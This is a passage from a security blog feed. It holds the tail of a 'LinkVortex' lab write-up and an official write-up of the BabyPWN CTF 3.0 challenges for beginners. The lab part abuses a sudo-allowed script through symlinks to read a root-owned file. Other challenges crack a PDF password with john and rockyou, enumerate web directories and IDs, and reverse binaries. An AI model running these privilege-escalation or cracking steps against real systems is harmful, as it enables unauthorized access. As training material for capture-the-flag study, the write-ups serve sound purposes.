    (ALL) NOPASSWD: /usr/bin/bash /opt/ghost/clean_symlink.sh *.png
</code></pre>
<p><code>/usr/bin/bash /opt/ghost/clean_</code><a target="_blank" href="http://symlink.sh"><code>symlink.sh</code></a> this does not require password to execute so</p>
<pre><code class="lang-bash">bob@linkvortex:~$ cat /opt/ghost/clean_symlink.sh 
<span class="hljs-comment">#!/bin/bash</span>

QUAR_DIR=<span class="hljs-string">"/var/quarantined"</span>

<span class="hljs-keyword">if</span> [ -z <span class="hljs-variable">$CHECK_CONTENT</span> ];<span class="hljs-keyword">then</span>
  CHECK_CONTENT=<span class="hljs-literal">false</span>
<span class="hljs-keyword">fi</span>

LINK=<span class="hljs-variable">$1</span>

<span class="hljs-keyword">if</span> ! [[ <span class="hljs-string">"<span class="hljs-variable">$LINK</span>"</span> =~ \.png$ ]]; <span class="hljs-keyword">then</span>
  /usr/bin/<span class="hljs-built_in">echo</span> <span class="hljs-string">"! First argument must be a png file !"</span>
  <span class="hljs-built_in">exit</span> 2
<span class="hljs-keyword">fi</span>

<span class="hljs-keyword">if</span> /usr/bin/sudo /usr/bin/<span class="hljs-built_in">test</span> -L <span class="hljs-variable">$LINK</span>;<span class="hljs-keyword">then</span>
  LINK_NAME=$(/usr/bin/basename <span class="hljs-variable">$LINK</span>)
  LINK_TARGET=$(/usr/bin/readlink <span class="hljs-variable">$LINK</span>)
  <span class="hljs-keyword">if</span> /usr/bin/<span class="hljs-built_in">echo</span> <span class="hljs-string">"<span class="hljs-variable">$LINK_TARGET</span>"</span> | /usr/bin/grep -Eq <span class="hljs-string">'(etc|root)'</span>;<span class="hljs-keyword">then</span>
    /usr/bin/<span class="hljs-built_in">echo</span> <span class="hljs-string">"! Trying to read critical files, removing link [ <span class="hljs-variable">$LINK</span> ] !"</span>
    /usr/bin/unlink <span class="hljs-variable">$LINK</span>
  <span class="hljs-keyword">else</span>
    /usr/bin/<span class="hljs-built_in">echo</span> <span class="hljs-string">"Link found [ <span class="hljs-variable">$LINK</span> ] , moving it to quarantine"</span>
    /usr/bin/mv <span class="hljs-variable">$LINK</span> <span class="hljs-variable">$QUAR_DIR</span>/
    <span class="hljs-keyword">if</span> <span class="hljs-variable">$CHECK_CONTENT</span>;<span class="hljs-keyword">then</span>
      /usr/bin/<span class="hljs-built_in">echo</span> <span class="hljs-string">"Content:"</span>
      /usr/bin/cat <span class="hljs-variable">$QUAR_DIR</span>/<span class="hljs-variable">$LINK_NAME</span> 2&gt;/dev/null
    <span class="hljs-keyword">fi</span>
  <span class="hljs-keyword">fi</span>
<span class="hljs-keyword">fi</span>
</code></pre>
<p>we can check_content=true while executing the sudo command</p>
<pre><code class="lang-bash">$ ln -s /root/root.txt flag.txt
$ ln -s /home/bob/flag.txt flag.png
$ sudo CHECK_CONTENT=True /usr/bin/bash /opt/ghost/clean_symlink.sh flag.png
</code></pre>
<p>This will provide root flag.</p>
]]></content:encoded></item><item><title><![CDATA[BabyPWN CTF 3.0 Official Writeup]]></title><description><![CDATA[As part of TechParva3.0, the Innovative Computer Engineering Students’ Society(i-CES) of WRC, Pokhara, hosted an exciting BabyPWN CTF(Capture the Flag) competition for beginners. I had an incredible opportunity to design a few challenges for this eve...]]></description><link>https://blog.giriamrit.com.np/babypwnctf-official-writeup</link><guid isPermaLink="true">https://blog.giriamrit.com.np/babypwnctf-official-writeup</guid><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><category><![CDATA[tech ]]></category><category><![CDATA[techparva]]></category><category><![CDATA[Security]]></category><category><![CDATA[cybersecurity]]></category><category><![CDATA[Write Up]]></category><category><![CDATA[CFD]]></category><dc:creator><![CDATA[Amrit Giri]]></dc:creator><pubDate>Fri, 10 Jan 2025 17:15:38 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1736227356730/38cef300-9796-4c21-ad70-b0c93147d62b.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>As part of <strong>TechParva3.0,</strong> the <strong>Innovative Computer Engineering Students’ Society(i-CES)</strong> of WRC, Pokhara, hosted an exciting <strong>BabyPWN CTF(Capture the Flag)</strong> competition for beginners. I had an incredible opportunity <strong>to</strong> <strong>design</strong> a few challenges for this event. In this post, I’ll be sharing the official write-up for the challenges: <strong>Compression, Envelope, PDF it is, Keep it safe, Source Non-Error, Elon Musk, Tick TIck Boom, Logged in, Byte, Penguin, Brother, Rescue me, mereko pata nahi, Impure, Hi Jack!!!, Developer Madness, Sigma, NotAgain, Titanic, Fire, Monkey, CID.</strong> Except for these challenges, you can find writeups <strong>here:</strong> https://blog.sudarshandevkota.com.np/babypwnctf</p>
<h1 id="heading-miscellaneous">Miscellaneous</h1>
<h2 id="heading-compression">Compression:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736228244976/c293945d-b86c-43b6-9b95-cefc011ff33f.png" alt class="image--center mx-auto" /></p>
<p>To unzip the downloaded file run the command in the Linux terminal</p>
<pre><code class="lang-bash">unzip challenge.zip
</code></pre>
<p>This gives us an error</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736228625638/43fb50fa-c2f7-4c07-91ad-7b97d2bf3003.png" alt class="image--center mx-auto" /></p>
<p>We need to use gzip to unzip the file 1st we need to rename the file</p>
<pre><code class="lang-bash">mv challenge.zip challenge.zip.gz
</code></pre>
<p>Now let’s run the command</p>
<pre><code class="lang-bash">gzip -d challenge.zip.gz
</code></pre>
<p>This provides us with the new zip file <code>challenge.zip</code> again and again</p>
<pre><code class="lang-bash">unzip challenge.zip
</code></pre>
<p>Doing <code>ls</code> we get the <code>challenge.tar.gz</code> so use tar to unzip the file using again this three methods we can <code>cat</code> out the flag</p>
<pre><code class="lang-bash">tar -xf challenge.tar.zip
gzip -d challenge.zip.gz
unzip challenge.zip
</code></pre>
<p>Listing the directory we see <code>flag.txt</code> which we simply <code>cat</code> out it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736229077625/870ae447-6aea-48d0-8e02-fbd52536ca96.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">Flag: i-CES{ZiP_Un2ip_fr0m_D1ff3r3n7_7yp35}
</code></pre>
<h2 id="heading-envelope">Envelope:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736229150790/9c069077-c676-43bb-94ff-511b80d3799a.png" alt class="image--center mx-auto" /></p>
<p>Unzip the file using the unzip command</p>
<pre><code class="lang-bash">unzip Gogogogo.zip
</code></pre>
<p>Use the command</p>
<pre><code class="lang-bash">tree -a
</code></pre>
<p>To list all the files and folders in the challenge directory</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736508616230/c5579667-8dde-47c8-add5-f445df622316.png" alt class="image--center mx-auto" /></p>
<p>By this, we can view every folder and file. While looking at these there is <code>.flag.png</code> which is suspicious and is the first target to view so view it by</p>
<pre><code class="lang-bash">open Gogogogo/are_you_sure/home/Think_again/drop-in/nearly/choose/.ices/greatchoice/us/taketheflag/.flag.png
</code></pre>
<p>This opens a file viewer</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736508759704/5c3f89e5-ffc1-4dff-9bc7-d4501a518132.png" alt class="image--center mx-auto" /></p>
<p>Scan the QR we can get the flag:</p>
<p><code>i-CES{CoN9r475_Y0u_foUNd_m3}</code></p>
<h2 id="heading-pdf-it-is">PDF it is:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736263586467/058bfba0-a118-424e-a213-ab58fa8f5ced.png" alt class="image--center mx-auto" /></p>
<p>Unzip the zip file using</p>
<pre><code class="lang-bash">unzip challenge.zip
</code></pre>
<p>This gives us a file <code>file.pdf</code></p>
<p>Let’s view the file type first</p>
<pre><code class="lang-bash">file file.pdf
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736509170339/076b6e0b-5621-43a3-a419-9415a90b9762.png" alt class="image--center mx-auto" /></p>
<p>if we open the file we get</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736509205627/b43b4654-2181-4fbb-a1e1-fd5323f52dc1.png" alt class="image--center mx-auto" /></p>
<p>So let’s check it using the ExifTool</p>
<pre><code class="lang-bash">exiftool file.pdf
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736509261855/92ce6a19-dbca-4e62-9761-494b32c83365.png" alt class="image--center mx-auto" /></p>
<p>The suspicious here is the user comment which seems to be in<code>hex</code> encoded using <code>cyberchef.io</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736509334171/ef1199ef-57c2-4c84-8704-497476327b92.png" alt class="image--center mx-auto" /></p>
<p>There is another encoded text which looks like base64 but it failed to generate useful output so try other base values where base32 provided a useful value</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736509406881/841ff548-a885-469c-b1f8-44f48879e055.png" alt class="image--center mx-auto" /></p>
<p>so the flag is:<code>i-CES{HidD3N_1n_XMp}</code></p>
<h2 id="heading-keep-it-safe">Keep it safe:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736263615471/eadcf3f0-7f14-4b87-a9e9-93677745118a.png" alt class="image--center mx-auto" /></p>
<p>unzip the file</p>
<pre><code class="lang-bash">unzip challenge.zip
</code></pre>
<p>while attempting to open the file it provides us with an error</p>
<pre><code class="lang-bash">warning: Invalid UTF-8 byte sequences have been replaced.
error: <span class="hljs-built_in">source</span>: error sourcing file <span class="hljs-string">'....../private'</span>
</code></pre>
<p>So let’s check the header using <code>hexedit</code> tool and search for the <code>file header signatures</code> On the web, find the number <code>25</code> as it is at the first. On hit and trail, it was found to be PDF, with 25 and 46 the same in hexedit. check here: <a target="_blank" href="https://www.garykessler.net/library/file_sigs.html"><code>https://www.garykessler.net/library/file_sigs.html</code></a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736509714320/483a46e0-57a8-432e-9ce8-7e69cc654de5.png" alt class="image--center mx-auto" /></p>
<pre><code class="lang-bash">hexedit private
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736509742943/8587bab2-a043-4a44-836e-07b155842202.png" alt class="image--center mx-auto" /></p>
<p>Correct the header file to <code>25 50 44 46</code> now save using <code>ctrl+x</code> and <code>y</code> now use <code>mv private private.pdf</code> as it was found to be a PDF file. While attempting to open it ask for the password so brute-force it using <code>rockyou.txt</code></p>
<p>Convert to hash</p>
<pre><code class="lang-bash">pdf2john private.pdf &gt; pdf.hash
john pdf.hash --wordlist=/usr/share/wordlist/rockyou.txt
</code></pre>
<p>After this use john —show command to view the password</p>
<pre><code class="lang-bash">john --show pdf.hash
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736510468043/75b6481a-2908-478a-a926-94285256dfb4.png" alt class="image--center mx-auto" /></p>
<p>use the <code>supersecret</code> as password to unlock the pdf which gives us a flag: <code>i-CES{S01v3_7H3_9Uz2l3}</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736510519613/3ad5334b-2aad-4718-8217-80e1b700fc0a.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-web">Web</h1>
<h2 id="heading-source-non-error">Source Non-Error:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736263653014/6269799e-e437-49c6-877b-65b44bde2df1.png" alt class="image--center mx-auto" /></p>
<p>Visit the URL which provides us 404 error.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736263671845/9d791af7-866d-493b-bc57-181f44038605.png" alt class="image--center mx-auto" /></p>
<p>Now, Right-click and visit View the source code where you get a hint</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736263727923/f1c8afd3-e256-4625-a10a-c32c20bb6fec.png" alt class="image--center mx-auto" /></p>
<p>Using cyber chef:<a target="_blank" href="https://gchq.github.io/CyberChef/">https://gchq.github.io/CyberChef/</a> decode the base64 which provides you with a flag <code>i-CES{404_Fa1lED_t0_TRIck_y0U}</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736263809412/6fbe0b9d-33ef-4bab-8336-2c8271dbee5a.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-elon-musk">Elon Musk</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736263890367/cf9ec32f-1cba-4f1d-8339-f9293a19a0a2.png" alt class="image--center mx-auto" /></p>
<p>Read the description properly which said the Tesla bot which leads to think about the <code>robots.txt</code> file for the website. A <code>robots.txt</code> file tells search engine crawlers which URLs the crawler can access on your site. You can also find this using the command</p>
<pre><code class="lang-bash">gobuster dir -u 20.244.121.137:7855 -w /usr/share/wordlists/dirb/common.txt
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736263976309/3a510040-0955-4175-9c93-703c2b76b933.png" alt class="image--center mx-auto" /></p>
<p>So now visit the <code>nothere.html</code> endpoint which asks us for a <code>password</code> if we look back to the <code>robots.txt</code> then there is another endpoint mentioned which is nothing but the <code>password</code> for <code>nothere.html</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264023286/ff45c992-9e62-44c5-8369-2a30ff8c2926.png" alt class="image--center mx-auto" /></p>
<p>Entering the password we get our flag: <code>i-CES{R0B075_FL4G_H3R3}</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264036071/77766160-9d0d-421a-93cb-9a13e3b664a0.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-tick-tick-boom">Tick Tick Boom</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264080593/122cebf8-979b-40c1-9660-e70780d46886.png" alt class="image--center mx-auto" /></p>
<p>Visit the URL and first view the source code if you can find something useful. Inspect the challenge and visit the <code>console</code> to see anything when running the <code>start challenge</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264095761/0fd02427-2deb-4f52-84e1-e9b8551a25e3.png" alt class="image--center mx-auto" /></p>
<p>While we <strong>START</strong> the challenge then there is a hint printed in the <code>console</code> that says <code>call function which</code> <strong>capture flag</strong> <code>in the console to capture the flag before time runs out!</code> we try every word combined and uncombined to obtain the flag in function format. Or the hint is indirectly saying <code>capture flag</code> function so try it.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736265375068/008850e3-a48d-4064-8247-9d6ad6e39982.png" alt class="image--center mx-auto" /></p>
<p><code>captureflag()</code> provide us with the flag: <code>i-CES{t1m3_1s_0f_th3_3ss3nc3}</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736265349496/2dbd12e6-bb5d-45f8-9dc8-365a43f70949.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-logged-in">Logged in</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264184795/33660fa5-b39f-4ec1-b239-13b7f21e028a.png" alt class="image--center mx-auto" /></p>
<p>This challenge belongs to seeking the network tab where the number is seen in <code>file</code> section on viewing we can see requests from <code>/github/main/3</code> so visiting the <code>/github/main/3</code> endpoint there is a flip game type which shows nothing useful to us.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264224993/cafc8d31-4c7a-4b34-80de-3254cf76fe50.png" alt class="image--center mx-auto" /></p>
<p>gain on inspect the network tab there is another endpoint with <code>id 8</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264264636/108d45ea-6ced-4142-83ee-10b299bbbe2e.png" alt class="image--center mx-auto" /></p>
<p>Since there is an ID in the endpoint. So, check for every id from 1 to .. until the flag is obtained. In doing so we can retrieve the flag at the id <code>15</code> that is <code>/github/main/15</code></p>
<p>Which has a flag in JSON format and is encoded with base64.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264322675/31a9a9c7-39a7-4570-ac27-efee4ea3a0c0.png" alt class="image--center mx-auto" /></p>
<p>Decoding the base64 we get our flag: <code>i-CES{yoU8_$3CRE7_F1@6_15_H3r3}</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264356337/a2d3ece3-9b0c-4273-a956-7ea6b47df2a4.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-osint">OSINT</h1>
<h2 id="heading-byte">Byte:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264383627/67a525aa-575c-434b-88f2-4d0c1b429a77.png" alt class="image--center mx-auto" /></p>
<p>0xzerobyte is no-one but me. If you visit my LinkedIn <code>linkedin/in/giriamrit</code> or search in Google then you can see my blog post. Visit any of the blogs and go to the home page. There you can find the Techparva 3.0 blog.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264511946/1293176e-6da8-4eba-b28a-9cd9a3dc1bae.png" alt class="image--center mx-auto" /></p>
<p>Check TechParva3.0. and find the flag</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264550777/08bbce8d-e2b8-4d1b-9475-ae41031fa6b7.png" alt class="image--center mx-auto" /></p>
<p>So there you can see: <code>i-CES{0P3N_50urC3_In73ll1g3nCe}</code> which is the real flag.</p>
<h2 id="heading-penguin">Penguin</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264608015/1356f430-c7f3-4f49-b9cf-b691834e61ba.png" alt class="image--center mx-auto" /></p>
<p>At the top right of the image there is a human leg so guess is made for the zoo as the flag format has reg_no in it. So search for the live webcam zoo. Check each link and check the penguin cam.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736512012527/d2691ede-3db6-4867-ae22-40f7166d89aa.png" alt class="image--center mx-auto" /></p>
<p>Bravo, got the place <code>dublinzoo</code> now find the registration number which can be found while scrolling down the page, <code>207824</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736512169688/fc4ef8db-98bd-4aed-8f3e-8958435de960.png" alt class="image--center mx-auto" /></p>
<p>Let’s keep this in flag format we get: <code>i-CES{dublinzoo_reg_207824}</code></p>
<h1 id="heading-cryptography">Cryptography</h1>
<h2 id="heading-brother">Brother</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264630499/fff20512-d0aa-4908-88d6-b5d98b8c9459.png" alt class="image--center mx-auto" /></p>
<p>The provided image is alien code which can be decoded from <a target="_blank" href="https://www.dcode.fr/alien-language">https://www.dcode.fr/alien-language</a> visit and enter each term you see in the image.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736512466358/00c9e881-4484-4212-8ee8-9732adbc571d.png" alt class="image--center mx-auto" /></p>
<p>flag: <code>i-CES{ALIENSARESOON_COMINGTOTAKEYOU}</code></p>
<h2 id="heading-rescue-me">Rescue me:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264652847/8a7a660f-41f9-4429-8d1e-b7329b47cfe0.png" alt class="image--center mx-auto" /></p>
<p>unzip the file <code>unzip challenge.zip</code></p>
<p>use cat to view the file.</p>
<pre><code class="lang-bash"> cat flag    

aS1DRVM=

粄簿类籪籟籸籨籢簹

0x555f317535375f

01000100 01100101 01100011 00110000

25ApIrerTJ
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736512550579/93f6f2db-6a5c-4d28-b65f-fa07c392e20a.png" alt class="image--center mx-auto" /></p>
<p>Use <code>cyberchef</code> to cook this encoded text.</p>
<p>1st one is base64</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736512611287/aefc04f5-3da2-4d14-807b-0f23e7833148.png" alt class="image--center mx-auto" /></p>
<p>2nd one is <code>ROT8000</code> which is found by brute force ROT</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736512908830/b2467a14-cc56-47a0-b799-2c310aede560.png" alt class="image--center mx-auto" /></p>
<p>3rd text is hex as we can see starting from <code>0x</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736512978679/c20611d4-ab56-4604-8066-88b19a6ca5b0.png" alt class="image--center mx-auto" /></p>
<p>4th is binary</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736513020654/d676d97f-e5ef-4ceb-b713-8af51139d148.png" alt class="image--center mx-auto" /></p>
<p>5th is base62 on brute force</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736513089554/112cf7ac-c0fb-4cda-be7b-398dfb7f0607.png" alt class="image--center mx-auto" /></p>
<p>flag: <code>i-CES{6raVo_Y0U_1u57_Dec0d3d_m3}</code></p>
<h2 id="heading-mereko-pata-nahi">Mereko pata nahi:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264725274/d18ed125-3654-48b1-8709-af42388c2f78.png" alt class="image--center mx-auto" /></p>
<p><code>unzip</code> and <code>cat</code> out the <code>challenge.zip</code> we get</p>
<pre><code class="lang-bash">lllr%25w%2Bv%25r%7Dv%26%2A%7Czsz%23vtr%23tvz%22xudtwzqxvt%7Du%7Bsz%27xubxuur%23z%26%2B%2Av%27q%23%24%25%27txs%24%7C%7Cur%27z%21%24%7Dr%26wuw%26%24%7Bxt%24%2Az%0D%0A
</code></pre>
<p>This is URL-encoded text so let’s decode from the URL decoder we get</p>
<pre><code class="lang-bash">lllr%w+v%r}v&amp;*|zsz<span class="hljs-comment">#vtr#tvz"xudtwzqxvt}u{sz'xubxuur#z&amp;+*v'q#$%'txs$||ur'z!$}r&amp;wuw&amp;${xt$*z</span>
</code></pre>
<p>Now here is just a guess as of now the most famous encoding technique is <code>rot47</code> so let’s decode using rot47 and reverse the output</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736513347326/60cc0fa8-86c8-4912-b948-c28e638dd319.png" alt class="image--center mx-auto" /></p>
<p>This looks more like base encoded so let’s try and use the base decoding technique and receive the flag</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736513412001/67ff2a8d-9974-4922-bd4f-7fa523471e51.png" alt class="image--center mx-auto" /></p>
<p>flag: <code>i-CES{muLt1Pl3_eNC0diN6_dOe5N0T_mean_54fE}</code></p>
<h2 id="heading-impure">Impure:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264744705/29a6c8a8-4ebd-44a6-a1e5-25b6b95f986f.png" alt class="image--center mx-auto" /></p>
<p>Unzip the file <code>unzip challenge.zip</code></p>
<p>cat out both the files we see flag has hashes and words has some of the possible passwords. On using <code>hascat</code> our <code>john</code> it is unable to crack the hash so we have to <code>munge</code> the given words for that let’s search for the code that helps to munge the words. On search we can find the <a target="_blank" href="https://github.com/Th3S3cr3tAg3nt/Munge">https://github.com/Th3S3cr3tAg3nt/Munge</a> which has Python code to make given words a list so let munge the given words file.</p>
<p>Clone the repo</p>
<pre><code class="lang-bash">git <span class="hljs-built_in">clone</span> https://github.com/Th3S3cr3tAg3nt/Munge
python3 Munge/munge.py -l 9 -i words -o munged.txt
</code></pre>
<p>now use John to crash the hash</p>
<pre><code class="lang-bash">john flag --wordlist=munged.txt 
john --show flag
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736517509536/109ff738-8e61-47c2-bb65-d596e6c33013.png" alt class="image--center mx-auto" /></p>
<p>so the flag: <code>i-CES{techparva3:P@$ch!m@nch@18}</code></p>
<h1 id="heading-forensics">Forensics</h1>
<h2 id="heading-hijack">Hijack:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264788149/7973bf69-b747-4226-9fb3-7a374c35e834.png" alt class="image--center mx-auto" /></p>
<p>use <a target="_blank" href="https://morsecodemagic.com/morse-code-audio-decoder/">https://morsecodemagic.com/morse-code-audio-decoder/</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736518078743/6169d839-35a4-4818-8d48-c08d3a1bf16d.png" alt class="image--center mx-auto" /></p>
<p>flag: <code>i-CES{M0RSE_COD3_F0R_H1J4CK1N9_UN1V3R517Y_9U35T1ONS}</code></p>
<h2 id="heading-developers-madness">Developers Madness:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264850721/490bdf7d-b01b-446f-976a-1c04dab9e9d1.png" alt class="image--center mx-auto" /></p>
<p>unzip the challenge.zip file <code>unzip challenge.zip</code> then <code>ls -la</code> to see all the hidden files as this is the <code>.git</code> challenge</p>
<p>Let’s check the branch</p>
<pre><code class="lang-bash">git branch
</code></pre>
<p>there is a <code>secret-branch</code> move to that branch before using git</p>
<pre><code class="lang-bash">git checkout secret-branch
git <span class="hljs-built_in">log</span> --oneline
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736527517032/7d62fa40-08eb-4875-8cc5-974ff68389f0.png" alt class="image--center mx-auto" /></p>
<p>Moving from the bottom let’s decode this</p>
<pre><code class="lang-bash">git show 26d90e1
commit 26d90e1ff9f20a93b8db87b368eb7b601b0f8f78
Author: amritgiri &lt;amritgiri5813@gmail.com&gt;
Date:   Sat Jan 4 12:30:18 2025 +0545

    0x74 0x68 0x69 0x73 0x20 0x69 0x73 0x20 0x73 0x75 0x73 0x70 0x65 0x63 0x69 0x6f 0x75 0x73

diff --git a/solve.py b/solve.py
index f97f7ea..7a03f67 100644
--- a/solve.py
+++ b/solve.py
@@ -7,9 +7,9 @@ def generate_random_flag():
     <span class="hljs-comment"># Encode the random bytes in Base64 format</span>
     base64_flag = base64.b64encode(random_bytes).decode(<span class="hljs-string">'utf-8'</span>)
     <span class="hljs-comment"># Format the flag</span>
-    flag = f<span class="hljs-string">"FLAG{{{base64_flag}}}"</span>
+    flag = f<span class="hljs-string">"i-CES{{{base64_flag}}}"</span>
     <span class="hljs-built_in">return</span> flag

 <span class="hljs-keyword">if</span> __name__ == <span class="hljs-string">"__main__"</span>:
     random_flag = generate_random_flag()
-    <span class="hljs-built_in">print</span>(f<span class="hljs-string">"Flag: i-CES{random_flag}"</span>)
+    <span class="hljs-built_in">print</span>(f<span class="hljs-string">"Flag: {random_flag}"</span>)
</code></pre>
<p>let’s see the second one</p>
<pre><code class="lang-bash">└─$ git show 0180277                                 
commit 0180277dceedd1020340a9e7217152ec8d7dbcc7
Author: amritgiri &lt;amritgiri5813@gmail.com&gt;
Date:   Sat Jan 4 12:43:28 2025 +0545

    ZmluZCBtZSBoZXJl=

diff --git a/.0xzerobyte b/.0xzerobyte
new file mode 100644
index 0000000..46b0bf0
--- /dev/null
+++ b/.0xzerobyte
@@ -0,0 +1 @@
+FDDVM8-OAD3D1WEEB6E2C669.2C-96IN802C04E32C007B6A-1ADA6Z2
</code></pre>
<p>The text <code>FDDVM8-OAD3D1WEEB6E2C669.2C-96IN802C04E32C007B6A-1ADA6Z2</code> looks normal but it is not so let’s find out what is this starting from the base models. Seems to be <code>base45</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736527819814/a1e88901-0b9c-4d92-a03f-bcd12cba6762.png" alt class="image--center mx-auto" /></p>
<p>There is the flag: <code>i-CES{git_1s_THE_p14Ce_For_I7_P3Op1E}</code></p>
<h1 id="heading-binary">Binary</h1>
<h2 id="heading-sigma">Sigma:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264872530/089ed4d7-b2b7-4dbb-95e3-717c66a5ca6d.png" alt class="image--center mx-auto" /></p>
<p>Unzip the file <code>unzip challenge.zip</code></p>
<p>use <code>ghidra</code> import the Sigma and analyze it</p>
<p>In the <code>window</code> tab there is <code>Define strings</code> option click on that</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736518433748/5d1d38d7-c04d-443a-9191-e54325481ae0.png" alt class="image--center mx-auto" /></p>
<p>You can see the highlight on a visit there by clicking and closing the right tab and use <code>CTRL+c</code> to view the decompiled C program</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736518588217/3c6c59b5-ee5b-479a-9842-069a4c8f26fa.png" alt class="image--center mx-auto" /></p>
<p>Here we can see the hex number now let’s decode this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736518631651/37fd03f4-7b03-47c6-ac58-8e8e66b83cf4.png" alt class="image--center mx-auto" /></p>
<p>we get 5362 which is the key to unlocking the flag</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736518686350/52bd9562-33df-4ca3-ab85-a6b769c45614.png" alt class="image--center mx-auto" /></p>
<p><code>i-CES{Y0u_h4vE_6reat_516m4_CON6R4T5}</code></p>
<h2 id="heading-notagain">Notagain:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264955273/6c502306-b81b-42b6-bff9-e935a7712688.png" alt class="image--center mx-auto" /></p>
<p>Unzip and run the <code>notagain</code>. If it is not running then change the mode to make it executable.</p>
<pre><code class="lang-bash">chmod 777 notagain 
./notagain
</code></pre>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736519018086/b3407274-bf8c-42ab-8d90-e63c43a1927b.png" alt class="image--center mx-auto" /></p>
<p>If you look at this carefully there is given what you have to input i.e.<code>5MnOpQr6</code> on calculation this consists of <strong>8 characters</strong> and its ASCII sum is <strong>600</strong> so paste to the input field we get the answer.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736519074018/af7655c4-0429-4d79-a00d-35d64b7407c7.png" alt class="image--center mx-auto" /></p>
<p>flag: <code>i-CES{k3Y_Ma7CHED_SuccE5sFu11Y}</code></p>
<h2 id="heading-titanic">Titanic:</h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1736264946828/b0653399-d51c-4dac-993e-80e624590271.png" alt class="image--center mx-auto" /></p>
<p>This challenge is similar to the Sigma challenge</p>
<p>let us make it executable</p>
